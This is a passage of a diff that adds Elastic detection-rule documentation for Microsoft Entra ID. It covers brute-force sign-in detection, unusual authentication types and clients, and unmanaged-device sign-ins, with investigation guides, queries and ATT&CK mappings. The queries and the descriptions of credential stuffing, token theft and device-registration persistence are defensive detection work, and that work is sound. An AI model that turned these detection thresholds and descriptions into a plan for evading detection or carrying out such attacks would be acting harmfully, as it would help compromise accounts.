`session_id` and `device_detail_device_id`: Determine if a device is targeting multiple accounts. +- Review `conditional_access_status`: If not enforced, ensure Conditional Access policies are scoped correctly. + + +*False positive analysis* + + +- Legitimate automation (e.g., misconfigured scripts, sync processes) can trigger repeated failures. +- Internal red team activity or penetration tests may mimic brute-force behaviors. +- Certain service accounts or mobile clients may generate repetitive sign-in noise if not properly configured. + + +*Response and remediation* + + +- Notify your identity security team for further analysis. +- Investigate and lock or reset impacted accounts if compromise is suspected. +- Block offending IPs or ASNs at the firewall, proxy, or using Conditional Access. +- Confirm MFA and Conditional Access are enforced for all user types. +- Audit targeted accounts for credential reuse across services. +- Implement account lockout or throttling for failed sign-in attempts where possible. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* + +// Define a time window for grouping and maintain the original event timestamp +| eval Esql.time_window_date_trunc = date_trunc(15 minutes, @timestamp) + +// Filter relevant failed authentication events with specific error codes +| where data_stream.dataset == "azure.signinlogs" + and event.category == "authentication" + and azure.signinlogs.category in ("NonInteractiveUserSignInLogs", "SignInLogs") + and event.outcome == "failure" + and azure.signinlogs.properties.authentication_requirement == "singleFactorAuthentication" + and azure.signinlogs.properties.status.error_code in ( + 50034, // UserAccountNotFound + 50126, // InvalidUsernameOrPassword + 50055, // PasswordExpired + 50056, // InvalidPassword + 50057, // UserDisabled + 50064, // CredentialValidationFailure + 50076, // MFARequiredButNotPassed + 50079, // MFARegistrationRequired + 50105, // EntitlementGrantsNotFound + 70000, // InvalidGrant + 70008, // ExpiredOrRevokedRefreshToken + 70043, // BadTokenDueToSignInFrequency + 80002, // OnPremisePasswordValidatorRequestTimedOut + 80005, // OnPremisePasswordValidatorUnpredictableWebException + 50144, // InvalidPasswordExpiredOnPremPassword + 50135, // PasswordChangeCompromisedPassword + 50142, // PasswordChangeRequiredConditionalAccess + 120000, // PasswordChangeIncorrectCurrentPassword + 120002, // PasswordChangeInvalidNewPasswordWeak + 120020 // PasswordChangeFailure + ) + and azure.signinlogs.properties.user_principal_name is not null and azure.signinlogs.properties.user_principal_name != "" + and user_agent.original != "Mozilla/5.0 (compatible; MSAL 1.0) PKeyAuth/1.0" + and source.`as`.organization.name != "MICROSOFT-CORP-MSN-as-BLOCK" + +| stats + Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement), + Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id), + Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status), + Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser), + Esql.azure_signinlogs_properties_device_detail_device_id_values = values(azure.signinlogs.properties.device_detail.device_id), + Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system), + Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state), + Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id), + Esql.azure_signinlogs_properties_user_id_values = values(azure.signinlogs.properties.user_id), + Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_result_description_values = values(azure.signinlogs.result_description), + Esql.azure_signinlogs_result_signature_values = values(azure.signinlogs.result_signature), + Esql.azure_signinlogs_result_type_values = values(azure.signinlogs.result_type), + + Esql.azure_signinlogs_properties_user_id_count_distinct = count_distinct(azure.signinlogs.properties.user_id), + Esql.azure_signinlogs_properties_user_id_list = values(azure.signinlogs.properties.user_id), + Esql.azure_signinlogs_result_description_values_all = values(azure.signinlogs.result_description), + Esql.azure_signinlogs_result_description_count_distinct = count_distinct(azure.signinlogs.result_description), + Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code), + Esql.azure_signinlogs_properties_status_error_code_count_distinct = count_distinct(azure.signinlogs.properties.status.error_code), + Esql.azure_signinlogs_properties_incoming_token_type_values_all = values(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_app_display_name_values_all = values(azure.signinlogs.properties.app_display_name), + Esql.source_ip_values = values(source.ip), + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.source_geo_country_name_values = values(source.geo.country_name), + Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name), + Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp), + Esql.event_count = count() +by Esql.time_window_date_trunc + +| eval + Esql.duration_seconds = date_diff("seconds", Esql.timestamp_first_seen, Esql.timestamp_last_seen), + Esql.brute_force_type = case( + Esql.azure_signinlogs_properties_user_id_count_distinct >= 10 and Esql.event_count >= 30 and Esql.azure_signinlogs_result_description_count_distinct <= 3 + and Esql.source_ip_count_distinct >= 5 + and Esql.duration_seconds <= 600 + and Esql.azure_signinlogs_properties_user_id_count_distinct > Esql.source_ip_count_distinct, + "credential_stuffing", + + Esql.azure_signinlogs_properties_user_id_count_distinct >= 15 and Esql.azure_signinlogs_result_description_count_distinct == 1 and Esql.event_count >= 15 and Esql.duration_seconds <= 1800, + "password_spraying", + + (Esql.azure_signinlogs_properties_user_id_count_distinct == 1 and Esql.azure_signinlogs_result_description_count_distinct == 1 and Esql.event_count >= 30 and Esql.duration_seconds <= 300) + or (Esql.azure_signinlogs_properties_user_id_count_distinct <= 3 and Esql.source_ip_count_distinct > 30 and Esql.event_count >= 100), + "password_guessing", + + "other" + ) + +| keep + Esql.time_window_date_trunc, + Esql.brute_force_type, + Esql.duration_seconds, + Esql.event_count, + Esql.timestamp_first_seen, + Esql.timestamp_last_seen, + Esql.azure_signinlogs_properties_user_id_count_distinct, + Esql.azure_signinlogs_properties_user_id_list, + Esql.azure_signinlogs_result_description_values_all, + Esql.azure_signinlogs_result_description_count_distinct, + Esql.azure_signinlogs_properties_status_error_code_count_distinct, + Esql.azure_signinlogs_properties_status_error_code_values, + Esql.azure_signinlogs_properties_incoming_token_type_values_all, + Esql.azure_signinlogs_properties_app_display_name_values_all, + Esql.source_ip_values, + Esql.source_ip_count_distinct, + Esql.source_as_organization_name_values, + Esql.source_geo_country_name_values, + Esql.source_geo_country_name_count_distinct, + Esql.source_as_organization_name_count_distinct, + Esql.azure_signinlogs_properties_authentication_requirement_values, + Esql.azure_signinlogs_properties_app_id_values, + Esql.azure_signinlogs_properties_app_display_name_values, + Esql.azure_signinlogs_properties_resource_id_values, + Esql.azure_signinlogs_properties_resource_display_name_values, + Esql.azure_signinlogs_properties_conditional_access_status_values, + Esql.azure_signinlogs_properties_device_detail_browser_values, + Esql.azure_signinlogs_properties_device_detail_device_id_values, + Esql.azure_signinlogs_properties_device_detail_operating_system_values, + Esql.azure_signinlogs_properties_incoming_token_type_values, + Esql.azure_signinlogs_properties_risk_state_values, + Esql.azure_signinlogs_properties_session_id_values, + Esql.azure_signinlogs_properties_user_id_values, + Esql_priv.azure_signinlogs_properties_user_principal_name_values, + Esql.azure_signinlogs_result_description_values, + Esql.azure_signinlogs_result_signature_values, + Esql.azure_signinlogs_result_type_values + +| where Esql.brute_force_type != "other" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-authentication-type.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-authentication-type.asciidoc new file mode 100644 index 0000000000..4d8f53f4c7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-authentication-type.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-authentication-type]] +=== Entra ID User Sign-in with Unusual Authentication Type + +Identifies rare instances of authentication requirements for Azure Entra ID principal users. An adversary with stolen credentials may attempt to authenticate with unusual authentication requirements, which is a rare event and may indicate an attempt to bypass conditional access policies (CAP) and multi-factor authentication (MFA) requirements. The authentication requirements specified may not be commonly used by the user based on their historical sign-in activity. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securityscorecard.com/wp-content/uploads/2025/02/MassiveBotnet-Report_022125_03.pdf + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID User Sign-in with Unusual Authentication Type* + + +Identifies rare instances of authentication requirements for Azure Entra ID principal users. An adversary with stolen credentials may attempt to authenticate with unusual authentication requirements, which is a rare event and may indicate an attempt to bypass conditional access policies (CAP) and multi-factor authentication (MFA) requirements. The authentication requirements specified may not be commonly used by the user based on their historical sign-in activity. + +**This is a New Terms rule that focuses on first occurrence of an Entra ID principal user `azure.signinlogs.properties.user_principal_name` and their authentication requirement `azure.signinlogs.properties.authentication_requirement` in the last 14-days.** + + +*Possible investigation steps* + + +- Identify the source IP address from which the failed login attempts originated by reviewing `source.ip`. Determine if the IP is associated with known malicious activity using threat intelligence sources or if it belongs to a corporate VPN, proxy, or automation process. +- Analyze affected user accounts by reviewing `azure.signinlogs.properties.user_principal_name` to determine if they belong to privileged roles or high-value users. Look for patterns indicating multiple failed attempts across different users, which could suggest a password spraying attempt. +- Examine the authentication method used in `azure.signinlogs.properties.authentication_details` to identify which authentication protocols were attempted and why they failed. Legacy authentication methods may be more susceptible to brute-force attacks. +- Review the authentication error codes found in `azure.signinlogs.properties.status.error_code` to understand why the login attempts failed. Common errors include `50126` for invalid credentials, `50053` for account lockouts, `50055` for expired passwords, and `50056` for users without a password. +- Correlate failed logins with other sign-in activity by looking at `event.outcome`. Identify if there were any successful logins from the same user shortly after multiple failures or if there are different geolocations or device fingerprints associated with the same account. +- Review `azure.signinlogs.properties.app_id` to identify which applications were initiating the authentication attempts. Determine if these applications are Microsoft-owned, third-party, or custom applications and if they are authorized to access the resources. +- Check for any conditional access policies that may have been triggered by the failed login attempts by reviewing `azure.signinlogs.properties.authentication_requirement`. This can help identify if the failed attempts were due to policy enforcement or misconfiguration. + + +*False positive analysis* + + + +*Common benign scenarios* + +- Automated scripts or applications using non-interactive authentication may trigger this detection, particularly if they rely on legacy authentication protocols recorded in `azure.signinlogs.properties.authentication_protocol`. +- Corporate proxies or VPNs may cause multiple users to authenticate from the same IP, appearing as repeated failed attempts under `source.ip`. +- User account lockouts from forgotten passwords or misconfigured applications may show multiple authentication failures in `azure.signinlogs.properties.status.error_code`. + + +*How to reduce false positives* + +- Exclude known trusted IPs, such as corporate infrastructure, from alerts by filtering `source.ip`. +- Exlcude known custom applications from `azure.signinlogs.properties.app_id` that are authorized to use non-interactive authentication. +- Ignore principals with a history of failed logins due to legitimate reasons, such as expired passwords or account lockouts, by filtering `azure.signinlogs.properties.user_principal_name`. +- Correlate sign-in failures with password reset events or normal user behavior before triggering an alert. + + +*Response and remediation* + + + +*Immediate actions* + +- Block the source IP address in `source.ip` if determined to be malicious. +- Reset passwords for all affected user accounts listed in `azure.signinlogs.properties.user_principal_name` and enforce stronger password policies. +- Ensure basic authentication is disabled for all applications using legacy authentication protocols listed in `azure.signinlogs.properties.authentication_protocol`. +- Enable multi-factor authentication (MFA) for impacted accounts to mitigate credential-based attacks. +- Review conditional access policies to ensure they are correctly configured to block unauthorized access attempts recorded in `azure.signinlogs.properties.authentication_requirement`. +- Review Conditional Access policies to enforce risk-based authentication and block unauthorized access attempts recorded in `azure.signinlogs.properties.authentication_requirement`. + + +*Long-term mitigation* + +- Implement a zero-trust security model by enforcing least privilege access and continuous authentication. +- Regularly review and update conditional access policies to ensure they are effective against evolving threats. +- Restrict the use of legacy authentication protocols by disabling authentication methods listed in `azure.signinlogs.properties.client_app_used`. +- Regularly audit authentication logs in `azure.signinlogs` to detect abnormal login behavior and ensure early detection of potential attacks. +- Regularly rotate client credentials and secrets for applications using non-interactive authentication to reduce the risk of credential theft. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and event.category: "authentication" + and azure.signinlogs.properties.user_type: "Member" + and azure.signinlogs.properties.authentication_details.authentication_method: "Password" + and not azure.signinlogs.properties.device_detail.browser: * + and not source.as.organization.name: "MICROSOFT-CORP-MSN-AS-BLOCK" + and not azure.signinlogs.properties.authentication_requirement: "multiFactorAuthentication" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-client.asciidoc new file mode 100644 index 0000000000..f35f6e1173 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-client.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-client]] +=== Entra ID User Sign-in with Unusual Client + +Detects rare non-interactive sign-ins where an Entra ID client application authenticates on behalf of a principal user using an application (client) ID that is not commonly associated with that user’s historical sign-in behavior. Adversaries with stolen credentials or OAuth tokens may abuse Entra ID–managed or first-party client IDs to perform on-behalf-of (OBO) authentication, blending into legitimate cloud traffic while avoiding traditional interactive sign-in flows. This technique is commonly observed in OAuth phishing, token theft, and access broker operations, and may precede lateral movement, persistence, or data access via Microsoft Graph or other cloud resources. The rule uses a New Terms approach to identify first-seen combinations of the UPN and Client ID within a defined history window, helping surface unexpected client usage that may indicate compromised identities, malicious automation, or unauthorized application impersonation. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securityscorecard.com/wp-content/uploads/2025/02/MassiveBotnet-Report_022125_03.pdf + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-in +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID User Sign-in with Unusual Client* + + +This rule identifies rare Azure Entra apps IDs requesting authentication on-behalf-of a principal user. An adversary with stolen credentials may specify an Azure-managed app ID to authenticate on-behalf-of a user. This is a rare event and may indicate an attempt to bypass conditional access policies (CAP) and multi-factor authentication (MFA) requirements. The app ID specified may not be commonly used by the user based on their historical sign-in activity. + + +*Possible investigation steps* + + +- Identify the source IP address from which the failed login attempts originated by reviewing `source.ip`. Determine if the IP is associated with known malicious activity using threat intelligence sources or if it belongs to a corporate VPN, proxy, or automation process. +- Analyze affected user accounts by reviewing `azure.signinlogs.properties.user_principal_name` to determine if they belong to privileged roles or high-value users. Look for patterns indicating multiple failed attempts across different users, which could suggest a password spraying attempt. +- Examine the authentication method used in `azure.signinlogs.properties.authentication_details` to identify which authentication protocols were attempted and why they failed. Legacy authentication methods may be more susceptible to brute-force attacks. +- Review the authentication error codes found in `azure.signinlogs.properties.status.error_code` to understand why the login attempts failed. Common errors include `50126` for invalid credentials, `50053` for account lockouts, `50055` for expired passwords, and `50056` for users without a password. +- Correlate failed logins with other sign-in activity by looking at `event.outcome`. Identify if there were any successful logins from the same user shortly after multiple failures or if there are different geolocations or device fingerprints associated with the same account. +- Review `azure.signinlogs.properties.app_id` to identify which applications were initiating the authentication attempts. Determine if these applications are Microsoft-owned, third-party, or custom applications and if they are authorized to access the resources. +- Check for any conditional access policies that may have been triggered by the failed login attempts by reviewing `azure.signinlogs.properties.authentication_requirement`. This can help identify if the failed attempts were due to policy enforcement or misconfiguration. + + +*False positive analysis* + + +- Automated scripts or applications using non-interactive authentication may trigger this detection, particularly if they rely on legacy authentication protocols recorded in `azure.signinlogs.properties.authentication_protocol`. +- Corporate proxies or VPNs may cause multiple users to authenticate from the same IP, appearing as repeated failed attempts under `source.ip`. +- User account lockouts from forgotten passwords or misconfigured applications may show multiple authentication failures in `azure.signinlogs.properties.status.error_code`. +- Exclude known trusted IPs, such as corporate infrastructure, from alerts by filtering `source.ip`. +- Exclude known custom applications from `azure.signinlogs.properties.app_id` that are authorized to use non-interactive authentication. +- Ignore principals with a history of failed logins due to legitimate reasons, such as expired passwords or account lockouts, by filtering `azure.signinlogs.properties.user_principal_name`. +- Correlate sign-in failures with password reset events or normal user behavior before triggering an alert. + + +*Response and remediation* + + +- Block the source IP address in `source.ip` if determined to be malicious. +- Reset passwords for all affected user accounts listed in `azure.signinlogs.properties.user_principal_name` and enforce stronger password policies. +- Ensure basic authentication is disabled for all applications using legacy authentication protocols listed in `azure.signinlogs.properties.authentication_protocol`. +- Enable multi-factor authentication (MFA) for impacted accounts to mitigate credential-based attacks. +- Review conditional access policies to ensure they are correctly configured to block unauthorized access attempts recorded in `azure.signinlogs.properties.authentication_requirement`. +- Review Conditional Access policies to enforce risk-based authentication and block unauthorized access attempts recorded in `azure.signinlogs.properties.authentication_requirement`. +- Implement a zero-trust security model by enforcing least privilege access and continuous authentication. +- Regularly review and update conditional access policies to ensure they are effective against evolving threats. +- Restrict the use of legacy authentication protocols by disabling authentication methods listed in `azure.signinlogs.properties.client_app_used`. +- Regularly audit authentication logs in `azure.signinlogs` to detect abnormal login behavior and ensure early detection of potential attacks. +- Regularly rotate client credentials and secrets for applications using non-interactive authentication to reduce the risk of credential theft. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and event.category: "authentication" + and azure.signinlogs.properties.is_interactive: false + and azure.signinlogs.properties.user_type: "Member" + and not azure.signinlogs.properties.client_app_used: "Browser" + and not source.as.organization.name: "MICROSOFT-CORP-MSN-AS-BLOCK" + and not azure.signinlogs.properties.app_id: ( + "1b3c667f-cde3-4090-b60b-3d2abd0117f0" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "4b0964e4-58f1-47f4-a552-e2e1fc56dcd7" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "268761a2-03f3-40df-8a8b-c3db24145b6b" or + "fc0f3af4-6835-4174-b806-f7db311fd2f3" or + "de50c81f-5f80-4771-b66b-cebd28ccdfc1" or + "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "6f7e0f60-9401-4f5b-98e2-cf15bd5fd5e3" or + "d7b530a4-7680-4c23-a8bf-c52c121d2e87" or + "52c2e0b5-c7b6-4d11-a89c-21e42bcec444" or + "38aa3b87-a06d-4817-b275-7a316988d93b" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or + "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223" or + "cab96880-db5b-4e15-90a7-f3f1d62ffe39" or + "3a4d129e-7f50-4e0d-a7fd-033add0a29f4" or + "29d9ed98-a469-4536-ade2-f981bc1d605e" or + "c0ab8ce9-e9a0-42e7-b064-33d422df41f1" or + "9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "08e18876-6177-487e-b8b5-cf950c1e598c" or + "0ec893e0-5785-4de6-99da-4ed124e5296c" or + "d3590ed6-52b3-4102-aeff-aad2292ab01c" or + "0dc2408a-bbc0-4238-871e-13b372f0200f" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "af124e86-4e96-495a-b70a-90f90ab96707" or + "e9c51622-460d-4d3d-952d-966a5b1da34c" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or + "e2ef5054-0287-4db6-afa3-013d96881fd3" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-non-managed-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-non-managed-device.asciidoc new file mode 100644 index 0000000000..76a84d33e5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-non-managed-device.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-non-managed-device]] +=== Entra ID User Sign-in with Unusual Non-Managed Device + +Identifies when a Microsoft Entra ID user signs in from a device that is not typically used by the user and is not managed, which may indicate potential compromise or unauthorized access attempts. This rule detects unusual sign-in activity by comparing the device used for the sign-in against the user's typical device usage patterns. Adversaries may create and register a new device to obtain a Primary Refresh Token (PRT) and maintain persistent access. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pushsecurity.com/blog/consentfix +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-in Logs +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID User Sign-in with Unusual Non-Managed Device* + + +This rule detects when a Microsoft Entra ID user signs in from a device that is not typically used by the user, which may indicate potential compromise or unauthorized access attempts. This rule detects unusual sign-in activity by comparing the device used for the sign-in against the user's typical device usage patterns. Adversaries may create and register a new device to obtain a Primary Refresh Token (PRT) and maintain persistent access. + + +*Possible investigation steps* + +- Review the `azure.signinlogs.properties.user_principal_name` field to identify the user associated with the sign-in. +- Check the `azure.signinlogs.properties.device_detail.device_id` field to identify the device used for the sign-in. +- Review `azure.signinlogs.properties.incoming_token_type` to determine what tpe of security token was used for the sign-in, such as a Primary Refresh Token (PRT). +- Examine `azure.signinlogs.category` to determine if these were non-interactive or interactive sign-ins. +- Check the geolocation of the sign-in by reviewing `source.geo.country_name` and `source.geo.city_name` to identify the location of the device used for the sign-in. If these are unusual for the user, it may indicate a potential compromise. +- Review `azure.signinlogs.properties.app_id` to determine which client application was used for the sign-in. If the application is not recognized or expected, it may indicate unauthorized access. Adversaries use first-party client IDs to blend in with legitimate traffic. +- Examine `azure.signinlogs.properties.resource_id` to determine what resource the security token has in scope and/or is requesting access to. If the resource is not recognized or expected, it may indicate unauthorized access. Excessive access to Graph API is common post-compromise behavior. +- Review the identity protection risk status by checking `azure.signinlogs.properties.risk_level` and `azure.signinlogs.properties.risk_detail` to determine if the sign-in was flagged as risky by Entra ID Protection. + + +*False positive analysis* + +- Legitimate users may sign in from new devices, such as when using a new laptop or mobile device. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users or device IDs. +- Environments where users frequently change devices, such as in a corporate setting with rotating hardware, may generate false positives. +- Users may use both an endpoint and mobile device for sign-ins, which could trigger this rule. + + +*Response and remediation* + +- If the sign-in is confirmed to be suspicious or unauthorized, take immediate action to revoke the access token and prevent further access. +- Disable the user account temporarily to prevent any potential compromise or unauthorized access. +- Review the user's recent sign-in activity and access patterns to identify any potential compromise or unauthorized access. +- If the user account is compromised, initiate a password reset and enforce multi-factor authentication (MFA) for the user. +- Review the conditional access policies in place to ensure they are sufficient to prevent unauthorized access to sensitive resources. +- Identify the registered Entra ID device by reviewing `azure.signinlogs.properties.device_detail.display_name` and confirm it is expected for the user or organization. If it is not expected, consider removing the device registration. +- Consider adding exceptions for verified devices that are known to be used by the user to reduce false-positives. + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +This rule requires the Azure integration with Microsoft Entra ID Sign-In logs to be enabled and configured to collect audit and activity logs via Azure Event Hub. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and + event.category: "authentication" and + azure.signinlogs.properties.user_type: "Member" and + azure.signinlogs.properties.token_protection_status_details.sign_in_session_status: "unbound" and + not azure.signinlogs.properties.device_detail.is_managed: true and + not azure.signinlogs.properties.device_detail.device_id: "" and + azure.signinlogs.properties.user_principal_name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enumerating-domain-trusts-via-dsquery-exe.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enumerating-domain-trusts-via-dsquery-exe.asciidoc new file mode 100644 index 0000000000..0f0068860f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enumerating-domain-trusts-via-dsquery-exe.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-enumerating-domain-trusts-via-dsquery-exe]] +=== Enumerating Domain Trusts via 